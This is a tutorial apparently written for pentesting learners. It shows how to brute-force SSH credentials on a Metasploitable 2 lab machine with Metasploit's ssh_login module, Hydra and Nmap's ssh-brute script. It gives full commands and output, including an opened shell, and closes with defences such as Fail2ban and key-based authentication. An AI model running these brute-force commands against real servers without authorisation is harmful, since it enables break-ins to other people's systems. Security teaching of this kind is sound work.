How to Gain SSH Access to Servers by Brute-Forcing Credentials

SSH is one of the most common protocols in use in modern IT infrastructures, and because of this, it can be a valuable attack vector for hackers. One of the most reliable ways to gain SSH access to servers is by brute-forcing credentials. There are a few methods of performing an SSH brute-force attack that will ultimately lead to the discovery of valid login credentials.

While not the only ways to do so, we'll be exploring tools such as Metasploit, Hydra, and the Nmap Scripting Engine in Nmap to accomplish this task, all of which are included in Kali Linux. As for the target, we will be practicing on Metasploitable 2, a purposely vulnerable test environment for pentesting and security research.

Overview of SSH

SSH, which stands for Secure Shell, is a network protocol that allows for encrypted communication over an insecure network. This was developed as an alternative to Telnet, which sends information in plaintext, which is clearly a problem, especially when passwords are involved.

The SSH cryptographic network protocol operates on a client-server model. That is, the client initiates a connection to the server, and communication is established after authentication takes place. SSH can use both password and private key authentication, the latter of which is considered more secure.

Uses for SSH include providing a means for remote logins and command execution, file transfer, mobile development, and connectivity troubleshooting in cloud-based applications. Virtually every large enterprise implements SSH in one way or another, making it a valuable technology to become acquainted with.

Scan with Nmap

Before we begin any brute-force attacks, we need to determine the state of the port that SSH is running on. We can perform a simple Nmap scan to see if it is open or not. Instead of scanning all the default ports, we can specify a single port number with the -p flag.

~$ nmap 172.16.1.102 -p 22 Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 14:58 CST
Nmap scan report for 172.16.1.102
Host is up (0.0039s latency). PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds

Above, we can see that port 22 is open and the SSH service is running on it. It would be a waste of time if this was closed or not running at all. Now we can start brute-forcing.

Method 1: Metasploit

The first method we will try out today involves one of Metasploit's auxiliary scanners. First, start the PostgreSQL database with the following command.

~$ sudo service postgresql start

Now, we can fire up Metasploit by typing msfconsole in the terminal.

~$ msfconsole # cowsay++ ____________
< metasploit > ------------ \ ,__, \ (oo)____ (__) )\ ||--|| * =[ metasploit v5.0.87-dev ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ] Metasploit tip: Use help <command> to learn more about any command msf5 >

You should see "msf" appear, though, for me, it's "msf5" since I'm using the most recent version, Metasploit 5, which can be upgraded by running the latest version of Kali. It's always a good idea to stay updated in order to take advantage of the latest exploits and tools. Here is the command I use to update:

~$ sudo apt update && sudo apt dist-upgrade

Next, after being greeted by the welcome banner for msfconsole, we can find the appropriate module with the search command.

msf5 > search ssh Matching Modules
================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/windows/ssh/sysax_sshd_kexchange 2013-03-17 normal No Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service 1 auxiliary/fuzzers/ssh/ssh_kexinit_corrupt normal No SSH Key Exchange Init Corruption 2 auxiliary/fuzzers/ssh/ssh_version_15 normal No SSH 1.5 Version Fuzzer 3 auxiliary/fuzzers/ssh/ssh_version_2 normal No SSH 2.0 Version Fuzzer 4 auxiliary/fuzzers/ssh/ssh_version_corrupt normal No SSH Version Corruption 5 auxiliary/scanner/http/cisco_firepower_login normal No Cisco Firepower Management Console 6.0 Login 6 auxiliary/scanner/http/gitlab_user_enum 2014-11-21 normal No GitLab User Enumeration 7 auxiliary/scanner/ssh/apache_karaf_command_execution 2016-02-09 normal No Apache Karaf Default Credentials Command Execution 8 auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal No Cerberus FTP Server SFTP Username Enumeration 9 auxiliary/scanner/ssh/detect_kippo normal No Kippo SSH Honeypot Detector 10 auxiliary/scanner/ssh/eaton_xpert_backdoor 2018-07-18 normal No Eaton Xpert Meter SSH Private Key Exposure Scanner 11 auxiliary/scanner/ssh/fortinet_backdoor 2016-01-09 normal No Fortinet SSH Backdoor Scanner 12 auxiliary/scanner/ssh/juniper_backdoor 2015-12-20 normal No Juniper SSH Backdoor Scanner 13 auxiliary/scanner/ssh/karaf_login normal No Apache Karaf Login Utility 14 auxiliary/scanner/ssh/libssh_auth_bypass 2018-10-16 normal No libssh Authentication Bypass Scanner 15 auxiliary/scanner/ssh/ssh_enum_git_keys normal No Test SSH Github Access 16 auxiliary/scanner/ssh/ssh_enumusers normal No SSH Username Enumeration 17 auxiliary/scanner/ssh/ssh_identify_pubkeys normal No SSH Public Key Acceptance Scanner 18 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner 19 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner 20 auxiliary/scanner/ssh/ssh_version normal No SSH Version Scanner 21 exploit/apple_ios/ssh/cydia_default_ssh 2007-07-02 excellent No Apple iOS Default SSH Password Vulnerability 22 exploit/linux/http/alienvault_exec 2017-01-31 excellent Yes AlienVault OSSIM/USM Remote Code Execution 23 exploit/linux/http/php_imap_open_rce 2018-10-23 good Yes php imap_open Remote Code Execution 24 exploit/linux/http/symantec_messaging_gateway_exec 2017-04-26 excellent No Symantec Messaging Gateway Remote Code Execution 25 exploit/linux/http/ubiquiti_airos_file_upload 2016-02-13 excellent No Ubiquiti airOS Arbitrary File Upload 26 exploit/linux/local/ptrace_traceme_pkexec_helper 2019-07-04 excellent Yes Linux Polkit pkexec helper PTRACE_TRACEME local root exploit 27 exploit/linux/ssh/ceragon_fibeair_known_privkey 2015-04-01 excellent No Ceragon FibeAir IP-10 SSH Private Key Exposure 28 exploit/linux/ssh/cisco_ucs_scpuser 2019-08-21 excellent No Cisco UCS Director default scpuser password 29 exploit/linux/ssh/exagrid_known_privkey 2016-04-07 excellent No ExaGrid Known SSH Key and Default Password 30 exploit/linux/ssh/f5_bigip_known_privkey 2012-06-11 excellent No F5 BIG-IP SSH Private Key Exposure 31 exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey 2014-03-17 excellent No Loadbalancer.org Enterprise VA SSH Private Key Exposure 32 exploit/linux/ssh/mercurial_ssh_exec 2017-04-18 excellent No Mercurial Custom hg-ssh Wrapper Remote Code Exec 33 exploit/linux/ssh/quantum_dxi_known_privkey 2014-03-17 excellent No Quantum DXi V1000 SSH Private Key Exposure 34 exploit/linux/ssh/quantum_vmpro_backdoor 2014-03-17 excellent No Quantum vmPRO Backdoor Command 35 exploit/linux/ssh/solarwinds_lem_exec 2017-03-17 excellent No SolarWinds LEM Default SSH Password Remote Code Execution 36 exploit/linux/ssh/symantec_smg_ssh 2012-08-27 excellent No Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability 37 exploit/linux/ssh/vmware_vdp_known_privkey 2016-12-20 excellent No VMware VDP Known SSH Key 38 exploit/multi/http/git_submodule_command_exec 2017-08-10 excellent No Malicious Git HTTP Server For CVE-2017-1000117 39 exploit/multi/http/gitlab_shell_exec 2013-11-04 excellent Yes Gitlab-shell Code Execution 40 exploit/multi/ssh/sshexec 1999-01-01 manual No SSH User Code Execution 41 exploit/unix/http/schneider_electric_net55xx_encoder 2019-01-25 excellent Yes Schneider Electric Pelco Endura NET55XX Encoder 42 exploit/unix/ssh/array_vxag_vapv_privkey_privesc 2014-02-03 excellent No Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution 43 exploit/unix/ssh/tectia_passwd_changereq 2012-12-01 excellent Yes Tectia SSH USERAUTH Change Request Password Reset Vulnerability 44 exploit/windows/local/unquoted_service_path 2001-10-25 excellent Yes Windows Unquoted Service Path Privilege Escalation 45 exploit/windows/ssh/freeftpd_key_exchange 2006-05-12 average No FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow 46 exploit/windows/ssh/freesshd_authbypass 2010-08-11 excellent Yes Freesshd Authentication Bypass 47 exploit/windows/ssh/freesshd_key_exchange 2006-05-12 average No FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow 48 exploit/windows/ssh/putty_msg_debug 2002-12-16 normal No PuTTY Buffer Overflow 49 exploit/windows/ssh/securecrt_ssh1 2002-07-23 average No SecureCRT SSH1 Buffer Overflow 50 exploit/windows/ssh/sysax_ssh_username 2012-02-27 normal Yes Sysax 5.53 SSH Username Buffer Overflow 51 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH 52 post/linux/gather/enum_network normal No Linux Gather Network Information 53 post/linux/manage/sshkey_persistence excellent No SSH Key Persistence 54 post/multi/gather/jenkins_gather normal No Jenkins Credential Collector 55 post/multi/gather/ssh_creds normal No Multi Gather OpenSSH PKI Credentials Collection 56 post/windows/gather/credentials/mremote normal No Windows Gather mRemote Saved Password Extraction 57 post/windows/gather/enum_putty_saved_sessions normal No PuTTY Saved Sessions Enumeration Module 58 post/windows/manage/forward_pageant normal No Forward SSH Agent Requests To Remote Pageant 59 post/windows/manage/install_ssh normal No Install OpenSSH for Windows 60 post/windows/manage/sshkey_persistence good No SSH Key Persistence

The ssh_login module is exactly what we need. Equip it with the use command. Afterward, you should "msf5 auxiliary(scanner/ssh/ssh_login), so you know you're working inside the right place.

msf5 > use auxiliary/scanner/ssh/ssh_login

Then we can type options to display the available settings for the scanner.

msf5 auxiliary(scanner/ssh/ssh_login) > options Module options (auxiliary/scanner/ssh/ssh_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE false yes Whether to print output for all attempts

We need to set a few things in order for this to work properly. First, RHOSTS is the IP address of our target.

msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 172.16.1.102 rhosts => 172.16.1.102

Next, STOP_ON_SUCCESS will stop after finding valid credentials.

msf5 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true stop_on_success => true

Then, USER_FILE is a list of usernames.

msf5 auxiliary(scanner/ssh/ssh_login) > set user_file users.txt user_file => users.txt

And PASS_FILE is a list of passwords.

msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file passwords.txt pass_file => passwords.txt

Finally, there's VERBOSE, which will display all attempts.

msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true verbose => true

For the user and password files, I used a shortened list containing known credentials for the purpose of this demonstration. In a real attack, you would likely want to use one of the well-known wordlists or a custom one to fit your needs.

We should be all set now. Type run at the prompt to kick it off:

msf5 auxiliary(scanner/ssh/ssh_login) > run [-] 172.16.1.102:22 - Failed: 'user:password'
[-] 172.16.1.102:22 - Failed: 'user:Password123'
[-] 172.16.1.102:22 - Failed: 'user:msfadmin'
[-] 172.16.1.102:22 - Failed: 'user:admin'
[-] 172.16.1.102:22 - Failed: 'user:default'
[-] 172.16.1.102:22 - Failed: 'user:root'
[-] 172.16.1.102:22 - Failed: 'user:toor'
[-] 172.16.1.102:22 - Failed: 'user:hello'
[-] 172.16.1.102:22 - Failed: 'user:welcome'
[-] 172.16.1.102:22 - Failed: 'user:hunter2'
[-] 172.16.1.102:22 - Failed: 'msfadmin:password'
[-] 172.16.1.102:22 - Failed: 'msfadmin:Password123'
[+] 172.16.1.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened (172.16.1.100:37615 -> 172.16.1.102:22) at 2020-08-09 15:06:58 -0600
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Since we set the verbose option, we can see all the attempts as they take place. Depending on the number of username and password combinations, this can take quite some time to run.

When valid credentials are found, a success message is displayed and a command shell is opened. It does not automatically drop us in, though, so we can display the current active sessions with the sessions command.

msf5 auxiliary(scanner/ssh/ssh_login) > sessions Active sessions
=============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux SSH msfadmin:msfadmin (172.16.1.102:22) 172.16.1.100:37615 -> 172.16.1.102:22 (172.16.1.102)

This says that it is an SSH connection. To interact with this session, use the -i flag.

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 [*] Starting interaction with 1... id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Now we are connected to the target via SSH and can run commands like normal.

Method 2: Hydra

The next tool we will use is Hydra, a powerful login cracker which is very fast and supports a number of different protocols. To show the help and some basic usage options, simply type hydra in the terminal. (Note, if you were previously in the msf console, make sure you cd out of it before using Hydra.)

~$ hydra Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]] Options: -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify port -t TASKS run TASKS number of connects in parallel per target (default: 16) -U service module usage details -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes. Example: hydra -l user -P passlist.txt ftp://192.168.0.1

Hydra contains a range of options, but today we will be using the following:

• The -L flag, which specifies a list of login names.
• The -P flag, which specifies a list of passwords.
• ssh://172.16.1.102 — our target and protocol.
• The -t flag set to 4, which sets the number of parallel tasks to run.

Once we kick it off, the tool will display the status of the attack:

~$ hydra -L users.txt -P passwords.txt ssh://172.16.1.102 -t 4 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-09 15:12:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task
[DATA] attacking ssh://172.16.1.102:22/

After a period of time, it will complete and show us the number of successful logins found.

[22][ssh] host: 172.16.1.102 login: msfadmin password: msfadmin
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 46 to do in 00:02h, 4 active
[STATUS] 42.00 tries/min, 84 tries in 00:02h, 6 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-09 15:15:10

Hydra's parallel processing power makes it a good choice when a large number of potential credentials are involved.

Method 3: Nmap Scripting Engine

The last method of brute forcing SSH credentials we will try out today involves the use of the Nmap Scripting Engine. NSE contains a script which will attempt to brute-force all possible combinations of a username and password pair. To perform this attack, we can run a simple Nmap scan from a fresh terminal just like before, but with a few extra options tacked on:

• --script ssh-brute specifies the script to use.
• --script-args will set the arguments for the script, separated by a comma.
• userdb=users.txt is the list of usernames we wish to use.
• passdb=passwords.txt is the list of passwords we wish to use.

Now, we are ready to start the scan:

~$ nmap 172.16.1.102 -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 15:17 CST

NSE will display the brute-force attempts and which credentials are being tried. Be patient — depending on the number of usernames and passwords being used, this can take some time.

NSE: [ssh-brute] Trying username/password pair: user:user
NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin
NSE: [ssh-brute] Trying username/password pair: admin:admin
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: john:john
NSE: [ssh-brute] Trying username/password pair: default:default
NSE: [ssh-brute] Trying username/password pair: support:support
NSE: [ssh-brute] Trying username/password pair: service:service
NSE: [ssh-brute] Trying username/password pair: adam:adam
NSE: [ssh-brute] Trying username/password pair: admin:password
NSE: [ssh-brute] Trying username/password pair: root:password
NSE: [ssh-brute] Trying username/password pair: john:password
NSE: [ssh-brute] Trying username/password pair: default:password
NSE: [ssh-brute] Trying username/password pair: support:password
NSE: [ssh-brute] Trying username/password pair: adam:password
NSE: [ssh-brute] Trying username/password pair: admin:Password123
NSE: [ssh-brute] Trying username/password pair: root:Password123
NSE: [ssh-brute] Trying username/password pair: john:Password123
NSE: [ssh-brute] Trying username/password pair: default:Password123 ...

After a while, the scan will finish and a report will be shown in the terminal.

Nmap scan report for 172.16.1.102
Host is up (0.0011s latency). PORT STATE SERVICE
22/tcp open ssh
| ssh-brute:
| Accounts:
| user:user - Valid credentials
| msfadmin:msfadmin - Valid credentials
| service:service - Valid credentials
|_ Statistics: Performed 66 guesses in 124 seconds, average tps: 0.5
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 147.59 seconds

Above, we can see it discovered three valid login credentials. This script is useful because it will iterate through all possible pairs of usernames and passwords, which will sometimes yield more results.

How to Prevent SSH Brute-Forcing

The reality is that if you have a server facing the internet, there are going to be loads of SSH brute-force attempts daily, many of which are automated. But don't fret, there are some simple solutions to help protect against this and cut down on the number of login attempts.

Perhaps one of the easiest things to do is change the port number which SSH operates on. Although this will dissuade the most rudimentary brute-force attempts, it is trivial to scan for SSH running on alternate ports.

A better method is to implement a service like Fail2ban, DenyHosts, or iptables to block brute-force attempts at the host level. This, combined with using private key authentication instead of passwords, will put you out of the reach of most attackers. If password-based authentication is absolutely necessary, use strong passwords and follow best practices.

Wrapping Up

In this guide, we learned about SSH and how to brute-force credentials to gain access to a target. First, we covered how to identify open ports running SSH. Then we learned how to mount a brute-force attack using three methods: Metasploit, Hydra, and the Nmap Scripting Engine. Finally, we went over some ways to protect against these types of attacks.

SSH is a prevalent protocol, so every hacker must know how to attack it — and how to prevent those attacks.